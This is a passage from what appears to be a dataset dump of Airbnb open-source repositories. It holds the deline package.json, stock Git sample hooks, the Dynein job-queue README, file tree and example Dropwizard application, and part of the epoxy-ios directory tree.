| {"package.json": "{\n \"name\": \"deline\",\n \"version\": \"1.0.4\",\n \"description\": \"Template tag that takes out unwanted newlines\",\n \"main\": \"build/deline.js\",\n \"scripts\": {\n \"pretest\": \"npm run --silent lint && npm run build\",\n \"test\": \"npm run tests-only\",\n \"posttest\": \"npx aud\",\n \"tests-only\": \"mocha\",\n \"lint\": \"eslint .\",\n \"build\": \"mkdirp build && babel deline.js --out-file build/deline.js --source-maps\",\n \"prepublish\": \"npm run build\",\n \"clean\": \"rimraf build\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git://github.com/airbnb/deline.git\"\n },\n \"keywords\": [\n \"deline\",\n \"tag\",\n \"es6\",\n \"multi-line\",\n \"string\"\n ],\n \"author\": \"Ian Sibner <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/deline/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/deline#readme\",\n \"devDependencies\": {\n \"babel-cli\": \"^6.26.0\",\n \"babel-preset-airbnb\": \"^2.6.0\",\n \"babel-register\": \"^6.26.0\",\n \"chai\": \"^3.5.0\",\n \"eslint\": \"^5.16.0\",\n \"eslint-config-airbnb-base\": \"^13.1.0\",\n \"eslint-plugin-import\": \"^2.17.3\",\n \"mkdirp\": \"^0.5.1\",\n \"mocha\": \"^3.5.3\",\n \"rimraf\": \"^2.6.3\"\n },\n \"dependencies\": {}\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
dynein | {"type": "directory", "name": "dynein", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "conveyor", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "conveyor", "children": [{"type": "directory", "name": "async", "children": [{"type": "file", "name": "AsyncConsumer.java"}, {"type": "file", "name": "AsyncSqsClient.java"}, {"type": "file", "name": "AsyncSqsClientFactory.java"}, {"type": "file", "name": "AsyncSqsClientImpl.java"}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "AsyncSqsClientConfiguration.java"}, {"type": "file", "name": "OverrideConfiguration.java"}, {"type": "file", "name": "RetryPolicyConfiguration.java"}]}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "AsyncConveyorMetrics.java"}, {"type": "file", "name": "NoOpConveyorMetrics.java"}]}, {"type": "directory", "name": "mock", "children": [{"type": "file", "name": "MockAsyncSqsClient.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "conveyor", "children": [{"type": "directory", "name": "async", "children": [{"type": "file", "name": "AsyncSqsClientFactoryTest.java"}, {"type": "file", "name": "AsyncSqsClientImplTest.java"}, {"type": "file", "name": "MockAsyncSqsClientTest.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "dynein", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "dynein", "children": [{"type": "directory", "name": "scheduler", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "DynamoDBConfiguration.java"}, {"type": "file", "name": "SchedulerConfiguration.java"}, {"type": "file", "name": "SQSConfiguration.java"}, {"type": "file", "name": "TimeoutRegistry.java"}, {"type": "file", "name": "WorkersConfiguration.java"}]}, {"type": "file", "name": "Constants.java"}, {"type": "directory", "name": "dynamodb", "children": [{"type": "file", "name": "DynamoDBScheduleManager.java"}, {"type": "file", "name": "DynamoDBScheduleManagerFactory.java"}, {"type": "file", "name": "DynamoDBUtils.java"}]}, {"type": "directory", "name": "heartbeat", "children": [{"type": "file", "name": "HeartbeatConfiguration.java"}, {"type": "file", "name": "HeartbeatManager.java"}, {"type": "file", "name": "PartitionWorkerIterationEvent.java"}, {"type": "file", "name": "PartitionWorkerStalledEvent.java"}]}, {"type": "file", "name": "ManagedInboundJobQueueConsumer.java"}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "Metrics.java"}, {"type": "file", "name": "NoOpMetricsImpl.java"}]}, {"type": "directory", "name": "modules", "children": [{"type": "file", "name": "SchedulerModule.java"}]}, {"type": "directory", "name": "partition", "children": [{"type": "file", "name": "K8SConsecutiveAllocationPolicy.java"}, {"type": "file", "name": "PartitionPolicy.java"}, {"type": "file", "name": "StaticAllocationPolicy.java"}]}, {"type": "file", "name": "Schedule.java"}, {"type": "file", "name": "ScheduleManager.java"}, {"type": "file", "name": "ScheduleManagerFactory.java"}, {"type": "file", "name": "Scheduler.java"}, {"type": "directory", "name": "worker", "children": [{"type": "file", "name": "PartitionWorker.java"}, {"type": "file", "name": "PartitionWorkerFactory.java"}, {"type": "file", "name": "WorkerManager.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "dynein", "children": [{"type": "directory", "name": "scheduler", "children": [{"type": "directory", "name": "dynamodb", "children": [{"type": "file", "name": "DynamoDBTest.java"}]}, {"type": "file", "name": "NoOpScheduleManager.java"}, {"type": "file", "name": "NoOpScheduleManagerFactory.java"}, {"type": "file", "name": "SchedulerManagerTest.java"}, {"type": "file", "name": "SchedulerTest.java"}, {"type": "directory", "name": "worker", "children": [{"type": "file", "name": "PartitionWorkerTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "dynein-api", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "dynein", "children": [{"type": "directory", "name": "api", "children": [{"type": "file", "name": "DyneinJobSpec.java"}, {"type": "file", "name": "InvalidTokenException.java"}, {"type": "file", "name": "JobSchedulePolicy.java"}, {"type": "file", "name": "JobScheduleType.java"}, {"type": "file", "name": "JobTokenPayload.java"}, {"type": "file", "name": "PrepareJobRequest.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "dynein-common", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "dynein", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "exceptions", "children": [{"type": "file", "name": "DyneinClientException.java"}, {"type": "file", "name": "JobDeserializationException.java"}, {"type": "file", "name": "JobSerializationException.java"}]}, {"type": "directory", "name": "job", "children": [{"type": "file", "name": "JacksonJobSpecTransformer.java"}, {"type": "file", "name": "JobSpecTransformer.java"}]}, {"type": "directory", "name": "token", "children": [{"type": "file", "name": "JacksonTokenManager.java"}, {"type": "file", "name": "TokenManager.java"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "ExecutorUtils.java"}, {"type": "file", "name": "TimeUtils.java"}, {"type": "file", "name": "UuidUtils.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "example", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "example.yml"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "dynein", "children": [{"type": "directory", "name": "example", "children": [{"type": "directory", "name": "api", "children": [{"type": "file", "name": "ScheduleJobResponse.java"}]}, {"type": "file", "name": "DyneinExampleApplication.java"}, {"type": "file", "name": "ExampleConfiguration.java"}, {"type": "file", "name": "ExampleJob.java"}, {"type": "file", "name": "ExampleModule.java"}, {"type": "file", "name": "ExampleResource.java"}, {"type": "directory", "name": "worker", "children": [{"type": "file", "name": "ManagedWorker.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "gradle", "children": [{"type": "file", "name": "libraries.gradle"}, {"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "lombok.config"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}]} | # Dynein
Dynein is Airbnb's Open-source Distributed Delayed Job Queueing System.
Learn more about Dynein in this blog post: [Dynein: Building an Open-source Distributed Delayed Job Queueing System][dynein-blogpost].
## Example
Dynein's components are structured as [`Managed`][dw-managed] objects in Dropwizard.
We have prepared an example application to demonstrate how to integrate Dynein in your service in `./example`.
To run this example, follow the following steps:
1. Setup [`localstack`][localstack].
The following steps will be using the default ports of `localstack`.
1. Run this command to create the necessary SQS queues:
```shell script
aws sqs create-queue --endpoint-url http://localhost:4576 --queue-name example --region us-east-1
aws sqs create-queue --endpoint-url http://localhost:4576 --queue-name inbound --region us-east-1
```
1. Run this command to create the DynamoDB table:
```shell script
aws dynamodb create-table --table-name dynein_schedules \
--attribute-definitions AttributeName=shard_id,AttributeType=S AttributeName=date_token,AttributeType=S \
--key-schema AttributeName=shard_id,KeyType=HASH AttributeName=date_token,KeyType=RANGE \
--billing-mode PAY_PER_REQUEST --endpoint-url http://localhost:4569 --region us-east-1
```
1. `cd example && gradle run --args='server example.yml'`
1. In another terminal, use `curl` to schedule jobs.
The following endpoints are available, which maps to scheduled, immediate, and sqs-delayed jobs:
1. `curl 'localhost:28080/schedule/scheduled'`
2. `curl 'localhost:28080/schedule/immediate'`
3. `curl 'localhost:28080/schedule/sqs-delayed'`
Each endpoint supports optional parameters `delaySeconds` and `name`.
For example: `curl 'localhost:28080/schedule/scheduled?name=testing-name&delaySeconds=15'`
1. In the original terminal where the example is started, at the scheduled time, the following log lines will be printed:
```text
INFO [2019-12-10 01:59:04,785] com.airbnb.dynein.example.ExampleJob: Running job with name: "testing-name"
INFO [2019-12-10 01:59:04,800] com.airbnb.dynein.example.worker.ManagedWorker: Successfully consumed job from queue
```
[dynein-blogpost]: https://medium.com/airbnb-engineering/dynein-building-a-distributed-delayed-job-queueing-system-93ab10f05f99
[dw-managed]: https://www.dropwizard.io/en/stable/manual/core.html#managed-objects
[localstack]: https://github.com/localstack/localstack
## Configuration
Here's an example from `./example/example.yml`.
We will use inline comments to explain what each option does.
```yaml
scheduler:
sqs:
inboundQueueName: inbound # inboud queue name
endpoint: "http://localhost:4576" # SQS endpoint. normally this line can be omitted, but it's useful for using localstack
dynamoDb:
schedulesTableName: dynein_schedules # dynamodb table name
queryLimit: 10 # max number of results per query
endpoint: "http://localhost:4569" # DynamoDB endpoint. normally this line can be omitted, but it's useful for localstack
workers:
numberOfWorkers: 1 # number of workers to start in this scheduler
recoverStuckJobsLookAheadMs: 60000 # look ahead time for recovering stuck jobs
threadPoolSize: 2 # must be at least 1 more than the number of workers
partitionPolicy: STATIC # can also be `K8S` to use dynamic partitioning
staticPartitionList: [0] # only needed for static partition policy
heartbeat:
monitorInterval: 60000 # the interval for heartbeat monitoring
stallTolerance: 300000 # the minimum time for a worker to be considered stopped
maxPartitions: 1 # max number of partitions. can only be increased without reassigning partitions for jobs already scheduled
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "example\\src\\main\\java\\com\\airbnb\\dynein\\example\\DyneinExampleApplication.java": "/**\n * Copyright 2019 Airbnb. Licensed under Apache-2.0. See LICENSE in the project root for license\n * information.\n */\npackage com.airbnb.dynein.example;\n\nimport com.airbnb.dynein.example.worker.ManagedWorker;\nimport com.airbnb.dynein.scheduler.ManagedInboundJobQueueConsumer;\nimport com.airbnb.dynein.scheduler.modules.SchedulerModule;\nimport com.airbnb.dynein.scheduler.worker.WorkerManager;\nimport com.google.inject.Guice;\nimport com.google.inject.Injector;\nimport io.dropwizard.Application;\nimport io.dropwizard.setup.Bootstrap;\nimport io.dropwizard.setup.Environment;\n\npublic class DyneinExampleApplication extends Application<ExampleConfiguration> {\n public static void main(String[] args) throws Exception {\n new DyneinExampleApplication().run(args);\n }\n\n @Override\n public String getName() {\n return \"hello-world\";\n }\n\n @Override\n public void initialize(Bootstrap<ExampleConfiguration> bootstrap) {}\n\n @Override\n public void run(ExampleConfiguration configuration, Environment environment) {\n Injector injector =\n Guice.createInjector(\n new SchedulerModule(configuration.getScheduler()), new ExampleModule(configuration));\n final ExampleResource resource = injector.getInstance(ExampleResource.class);\n environment.jersey().register(resource);\n // worker that executes the jobs\n environment.lifecycle().manage(injector.getInstance(ManagedWorker.class));\n // worker that fetches jobs from inbound queue\n environment.lifecycle().manage(injector.getInstance(ManagedInboundJobQueueConsumer.class));\n // worker that executes schedules from dynamodb\n environment.lifecycle().manage(injector.getInstance(WorkerManager.class));\n }\n}\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Mon Nov 18 00:29:30 PST 2019\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-5.4.1-all.zip\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStorePath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\n"} | null |
epoxy-ios | {"type": "directory", "name": "epoxy-ios", "children": [{"type": "file", "name": ".spi.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "CODE_OF_CONDUCT.md"}, {"type": "file", "name": "ConfigurePodspec.rb"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "docs", "children": [{"type": "directory", "name": "images", "children": [{"type": "file", "name": "logo.svg"}]}, {"type": "file", "name": "pull_request_template.md"}]}, {"type": "file", "name": "Epoxy.podspec"}, {"type": "directory", "name": "Epoxy.xcworkspace", "children": [{"type": "file", "name": "contents.xcworkspacedata"}, {"type": "directory", "name": "xcshareddata", "children": [{"type": "file", "name": "IDEWorkspaceChecks.plist"}, {"type": "directory", "name": "swiftpm", "children": [{"type": "file", "name": "Package.resolved"}]}]}]}, {"type": "file", "name": "EpoxyBars.podspec"}, {"type": "file", "name": "EpoxyCollectionView.podspec"}, {"type": "file", "name": "EpoxyCore.podspec"}, {"type": "file", "name": "EpoxyLayoutGroups.podspec"}, {"type": "file", "name": "EpoxyNavigationController.podspec"}, {"type": "file", "name": "EpoxyPresentations.podspec"}, {"type": "directory", "name": "Example", "children": [{"type": "directory", "name": "EpoxyExample", "children": [{"type": "directory", "name": "Application", "children": [{"type": "file", "name": "AppDelegate.swift"}]}, {"type": "directory", "name": "Assets", "children": [{"type": "directory", "name": "Assets.xcassets", "children": [{"type": "directory", "name": "AppIcon.appiconset", "children": [{"type": "file", "name": "Contents.json"}]}, {"type": "file", "name": "Contents.json"}]}, {"type": "directory", "name": "Base.lproj", "children": [{"type": "file", "name": "LaunchScreen.storyboard"}]}, {"type": "file", "name": "Info.plist"}]}, {"type": "directory", "name": "Data", "children": [{"type": "file", "name": "BeloIpsum.swift"}, {"type": "file", "name": "Example.swift"}, {"type": "file", "name": "LayoutGroupsExample.swift"}, {"type": "file", "name": "ReadmeExample.swift"}]}, {"type": "directory", "name": "Extensions", "children": [{"type": "file", "name": "UICollectionViewCompositionalLayout+List.swift"}, {"type": "file", "name": "UIImageView+RemoteImage.swift"}]}, {"type": "directory", "name": "ViewControllers", "children": [{"type": "directory", "name": "CollectionView", "children": [{"type": "file", "name": "CardStackViewController.swift"}, {"type": "file", "name": "CompositionalLayoutViewController.swift"}, {"type": "file", "name": "CustomSelfSizingContentViewController.swift"}, {"type": "file", "name": "FlowLayoutViewController.swift"}, {"type": "file", "name": "ShuffleViewController.swift"}, {"type": "file", "name": "TextFieldViewController.swift"}]}, {"type": "directory", "name": "Helpers", "children": [{"type": "file", "name": "NavigationWrapperViewController.swift"}]}, {"type": "directory", "name": "LayoutGroups", "children": [{"type": "file", "name": "ColorsViewController.swift"}, {"type": "file", "name": "ComplexDeclarativeViewController.swift"}, {"type": "file", "name": "DynamicLayoutGroupsViewController.swift"}, {"type": "file", "name": "EntirelyInlineViewController.swift"}, {"type": "file", "name": "LayoutGroupsReadmeExamplesViewController.swift"}, {"type": "file", "name": "MessagesUIStackViewViewController.swift"}, {"type": "file", "name": "MessagesViewController.swift"}, {"type": "file", "name": "TextRowExampleViewController.swift"}, {"type": "file", "name": "TodoListViewController.swift"}, {"type": "file", "name": "UIViewController+LayoutGroupsExample.swift"}]}, {"type": "file", "name": "MainViewController.swift"}, {"type": "file", "name": "ProductViewController.swift"}, {"type": "directory", "name": "Readme", "children": [{"type": "file", "name": "BottomButtonViewController.swift"}, {"type": "file", "name": "CounterViewController.swift"}, {"type": "file", "name": "FormNavigationController.swift"}, {"type": "file", "name": "LayoutGroupsExampleViewController.swift"}, {"type": "file", "name": "PresentationViewController.swift"}, {"type": "file", "name": "ReadmeExamplesViewController.swift"}, {"type": "file", "name": "TapMeViewController.swift"}, {"type": "file", "name": "UIViewController+ReadmeExample.swift"}]}, {"type": "directory", "name": "SwiftUI", "children": [{"type": "file", "name": "EpoxyInSwiftUISizingStrategiesViewController.swift"}, {"type": "file", "name": "EpoxyInSwiftUIViewController.swift"}, {"type": "file", "name": "SwiftUIInEpoxyResizingViewController.swift"}, {"type": "file", "name": "SwiftUIInEpoxyViewController.swift"}]}]}, {"type": "directory", "name": "Views", "children": [{"type": "file", "name": "ButtonRow.swift"}, {"type": "file", "name": "CardContainer.swift"}, {"type": "file", "name": "ColorView.swift"}, {"type": "file", "name": "CustomSizingView.swift"}, {"type": "file", "name": "ImageMarquee.swift"}, {"type": "file", "name": "ImageRow.swift"}, {"type": "directory", "name": "LayoutGroups", "children": [{"type": "file", "name": "ActionButtonRow.swift"}, {"type": "file", "name": "AlignableTextRow.swift"}, {"type": "file", "name": "CheckboxRow.swift"}, {"type": "file", "name": "ColorsRow.swift"}, {"type": "file", "name": "DynamicRow.swift"}, {"type": "directory", "name": "Elements", "children": [{"type": "file", "name": "BaseRow.swift"}, {"type": "file", "name": "Button.swift"}, {"type": "file", "name": "ImageView.swift"}, {"type": "file", "name": "Label.swift"}]}, {"type": "file", "name": "IconRow.swift"}, {"type": "file", "name": "MessageRow.swift"}, {"type": "file", "name": "MessageRowStackView.swift"}]}, {"type": "file", "name": "TextFieldRow.swift"}, {"type": "file", "name": "TextRow.swift"}]}]}]}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "Gemfile.lock"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Package.resolved"}, {"type": "file", "name": "Package.swift"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "Sources", "children": [{"type": "directory", "name": "Epoxy", "children": [{"type": "file", "name": "Exports.swift"}]}, {"type": "directory", "name": "EpoxyBars", "children": [{"type": "directory", "name": "BarCoordinator", "children": [{"type": "file", "name": "BarCoordinating.swift"}, {"type": "file", "name": "BarCoordinatorProperty.swift"}, {"type": "file", "name": "CoordinatedBarModel.swift"}]}, {"type": "directory", "name": "BarInstaller", "children": [{"type": "file", "name": "BarContainer.swift"}, {"type": "file", "name": "BarInstaller.swift"}, {"type": "file", "name": "BarInstallerConfiguration.swift"}, {"type": "file", "name": "BarStackView.swift"}, {"type": "file", "name": "BarWrapperView.swift"}, {"type": "file", "name": "UIScrollView+ContentOffset.swift"}, {"type": "file", "name": "UIView+HasHierarchyScaleTransform.swift"}, {"type": "file", "name": "UIViewController+OriginalSafeAreaInsets.swift"}]}, {"type": "directory", "name": "BarModel", "children": [{"type": "file", "name": "AnyBarModel.swift"}, {"type": "file", "name": "BarModel.swift"}, {"type": "file", "name": "BarModelBuilder.swift"}, {"type": "file", "name": "BarModeling.swift"}, {"type": "file", "name": "EpoxyableView+BarModel.swift"}, {"type": "file", "name": "InternalBarModeling.swift"}, {"type": "file", "name": "SwiftUI.View+BarModel.swift"}]}, {"type": "directory", "name": "BarView", "children": [{"type": "file", "name": "HeightInvalidatingBarView.swift"}, {"type": "file", "name": "SafeAreaLayoutMarginsBarView.swift"}]}, {"type": "directory", "name": "BottomBarInstaller", "children": [{"type": "file", "name": "BottomBarContainer.swift"}, {"type": "file", "name": "BottomBarInstaller.swift"}, {"type": "file", "name": "BottomBarsProviding.swift"}]}, {"type": "directory", "name": "Keyboard", "children": [{"type": "file", "name": "InputAccessoryBarStackView.swift"}, {"type": "file", "name": "KeyboardPositionWatcher.swift"}]}, {"type": "directory", "name": "TopBarInstaller", "children": [{"type": "file", "name": "TopBarContainer.swift"}, {"type": "file", "name": "TopBarInstaller.swift"}, {"type": "file", "name": "TopBarsProviding.swift"}]}]}, {"type": "directory", "name": "EpoxyCollectionView", "children": [{"type": "directory", "name": "CollectionView", "children": [{"type": "file", "name": "CollectionView.swift"}, {"type": "file", "name": "CollectionViewConfiguration.swift"}, {"type": "file", "name": "CollectionViewVisibilityMetadata.swift"}, {"type": "directory", "name": "Delegates", "children": [{"type": "file", "name": "CollectionViewAccessibilityDelegate.swift"}, {"type": "file", "name": "CollectionViewDisplayDelegate.swift"}, {"type": "file", "name": "CollectionViewPrefetchingDelegate.swift"}, {"type": "file", "name": "CollectionViewReorderingDelegate.swift"}, {"type": "file", "name": "CollectionViewTransitionLayoutDelegate.swift"}]}, {"type": "directory", "name": "Internal", "children": [{"type": "file", "name": "CollectionViewChangeset.swift"}, {"type": "file", "name": "CollectionViewData.swift"}, {"type": "file", "name": "CollectionViewDataSource.swift"}, {"type": "file", "name": "CollectionViewDataSourceReorderingDelegate.swift"}, {"type": "file", "name": "CollectionViewScrollToItemHelper.swift"}, {"type": "file", "name": "ReuseIDStore.swift"}]}, {"type": "file", "name": "ItemPath.swift"}, {"type": "file", "name": "ItemSectionPath.swift"}, {"type": "directory", "name": "ReusableViews", "children": [{"type": "file", "name": "CollectionViewCell.swift"}, {"type": "file", "name": "CollectionViewReusableView.swift"}, {"type": "file", "name": "FittingPrioritiesProvidingLayoutAttributes.swift"}, {"type": "file", "name": "ItemCellView.swift"}, {"type": "file", "name": "ItemSelectionStyle.swift"}]}, {"type": "file", "name": "SupplementaryItemPath.swift"}]}, {"type": "directory", "name": "Layouts", "children": [{"type": "directory", "name": "CompositionalLayout", "children": [{"type": "file", "name": "SectionModel+CompositionalLayout.swift"}, {"type": "file", "name": "UICollectionViewCompositionalLayout+Epoxy.swift"}]}, {"type": "directory", "name": "FlowLayout", "children": [{"type": "file", "name": "CollectionView+UICollectionViewFlowLayoutDelegate.swift"}, {"type": "file", "name": "EpoxyModeled+UICollectionViewFlowLayout.swift"}]}]}, {"type": "directory", "name": "Models", "children": [{"type": "directory", "name": "ItemModel", "children": [{"type": "file", "name": "AnyItemModel.swift"}, {"type": "file", "name": "EpoxyableView+ItemModel.swift"}, {"type": "file", "name": "ItemCellMetadata.swift"}, {"type": "file", "name": "ItemCellState.swift"}, {"type": "file", "name": "ItemModel.swift"}, {"type": "file", "name": "ItemModelBuilder.swift"}, {"type": "file", "name": "ItemModeling.swift"}, {"type": "file", "name": "SwiftUI.View+ItemModel.swift"}]}, {"type": "directory", "name": "Providers", "children": [{"type": "file", "name": "DidChangeStateProviding.swift"}, {"type": "file", "name": "IsMoveableProviding.swift"}, {"type": "file", "name": "ItemsProviding.swift"}, {"type": "file", "name": "SelectionStyleProviding.swift"}, {"type": "file", "name": "SupplementaryItemsProviding.swift"}]}, {"type": "directory", "name": "SectionModel", "children": [{"type": "file", "name": "SectionModel+ReuseIDs.swift"}, {"type": "file", "name": "SectionModel.swift"}, {"type": "file", "name": "SectionModelBuilder.swift"}]}, {"type": "directory", "name": "SupplementaryItemModel", "children": [{"type": "file", "name": "AnySupplementaryItemModel.swift"}, {"type": "file", "name": "EpoxyableView+SupplementaryItemModel.swift"}, {"type": "file", "name": "SupplementaryItemModel.swift"}, {"type": "file", "name": "SupplementaryItemModeling.swift"}, {"type": "file", "name": "SwiftUI.View+SupplementaryItemModel.swift"}]}]}, {"type": "directory", "name": "ViewControllers", "children": [{"type": "file", "name": "CollectionViewController.swift"}]}, {"type": "directory", "name": "Views", "children": [{"type": "file", "name": "AccessibilityCustomizedView.swift"}, {"type": "file", "name": "DisplayRespondingView.swift"}, {"type": "file", "name": "EphemeralCachedStateView.swift"}, {"type": "file", "name": "HighlightableView.swift"}, {"type": "file", "name": "SelectableView.swift"}]}]}, {"type": "directory", "name": "EpoxyCore", "children": [{"type": "directory", "name": "Diffing", "children": [{"type": "file", "name": "Collection+Diff.swift"}, {"type": "file", "name": "Diffable.swift"}, {"type": "file", "name": "DiffableSection.swift"}, {"type": "file", "name": "IndexChangeset.swift"}, {"type": "file", "name": "SectionedChangeset.swift"}]}, {"type": "directory", "name": "Logging", "children": [{"type": "file", "name": "EpoxyLogger.swift"}]}, {"type": "directory", "name": "Model", "children": [{"type": "file", "name": "CallbackContextEpoxyModeled.swift"}, {"type": "file", "name": "EpoxyModelArrayBuilder.swift"}, {"type": "file", "name": "EpoxyModeled.swift"}, {"type": "file", "name": "EpoxyModelProperty.swift"}, {"type": "file", "name": "EpoxyModelStorage.swift"}, {"type": "directory", "name": "Internal", "children": [{"type": "file", "name": "AnyEpoxyModelProperty.swift"}, {"type": "file", "name": "ClassReference.swift"}]}, {"type": "directory", "name": "Providers", "children": [{"type": "file", "name": "AnimatedProviding.swift"}, {"type": "file", "name": "DataIDProviding.swift"}, {"type": "file", "name": "DidDisplayProviding.swift"}, {"type": "file", "name": "DidEndDisplayingProviding.swift"}, {"type": "file", "name": "DidSelectProviding.swift"}, {"type": "file", "name": "ErasedContentProviding.swift"}, {"type": "file", "name": "MakeViewProviding.swift"}, {"type": "file", "name": "SetBehaviorsProviding.swift"}, {"type": "file", "name": "SetContentProviding.swift"}, {"type": "file", "name": "StyleIDProviding.swift"}, {"type": "file", "name": "TraitCollectionProviding.swift"}, {"type": "file", "name": "ViewDifferentiatorProviding.swift"}, {"type": "file", "name": "ViewProviding.swift"}, {"type": "file", "name": "WillDisplayProviding.swift"}]}, {"type": "file", "name": "ViewEpoxyModeled.swift"}]}, {"type": "directory", "name": "SwiftUI", "children": [{"type": "file", "name": "EpoxyableView+SwiftUIView.swift"}, {"type": "file", "name": "EpoxySwiftUIHostingController.swift"}, {"type": "file", "name": "EpoxySwiftUIHostingView.swift"}, {"type": "file", "name": "EpoxySwiftUIIntrinsicContentSizeInvalidator.swift"}, {"type": "file", "name": "EpoxySwiftUILayoutMargins.swift"}, {"type": "directory", "name": "LayoutUtilities", "children": [{"type": "file", "name": "MeasuringViewRepresentable.swift"}, {"type": "file", "name": "SwiftUIMeasurementContainer.swift"}]}, {"type": "file", "name": "SwiftUIView.swift"}, {"type": "file", "name": "UIView+SwiftUIView.swift"}, {"type": "file", "name": "UIViewConfiguringSwiftUIView.swift"}]}, {"type": "directory", "name": "Views", "children": [{"type": "file", "name": "BehaviorsConfigurableView.swift"}, {"type": "file", "name": "ContentConfigurableView.swift"}, {"type": "file", "name": "EpoxyableView.swift"}, {"type": "file", "name": "StyledView.swift"}, {"type": "file", "name": "ViewType.swift"}]}]}, {"type": "directory", "name": "EpoxyLayoutGroups", "children": [{"type": "directory", "name": "Constrainable", "children": [{"type": "file", "name": "AnchoringContainer.swift"}, {"type": "file", "name": "Constrainable.swift"}, {"type": "file", "name": "ConstrainableContainer.swift"}]}, {"type": "directory", "name": "Constraints", "children": [{"type": "file", "name": "GroupConstraints.swift"}, {"type": "file", "name": "HGroupConstraints.swift"}, {"type": "file", "name": "VGroupConstraints.swift"}]}, {"type": "directory", "name": "Extensions", "children": [{"type": "file", "name": "EpoxyableView+GroupItem.swift"}, {"type": "file", "name": "NSLayoutConstraint+Optional.swift"}]}, {"type": "directory", "name": "Groups", "children": [{"type": "file", "name": "Group.swift"}, {"type": "file", "name": 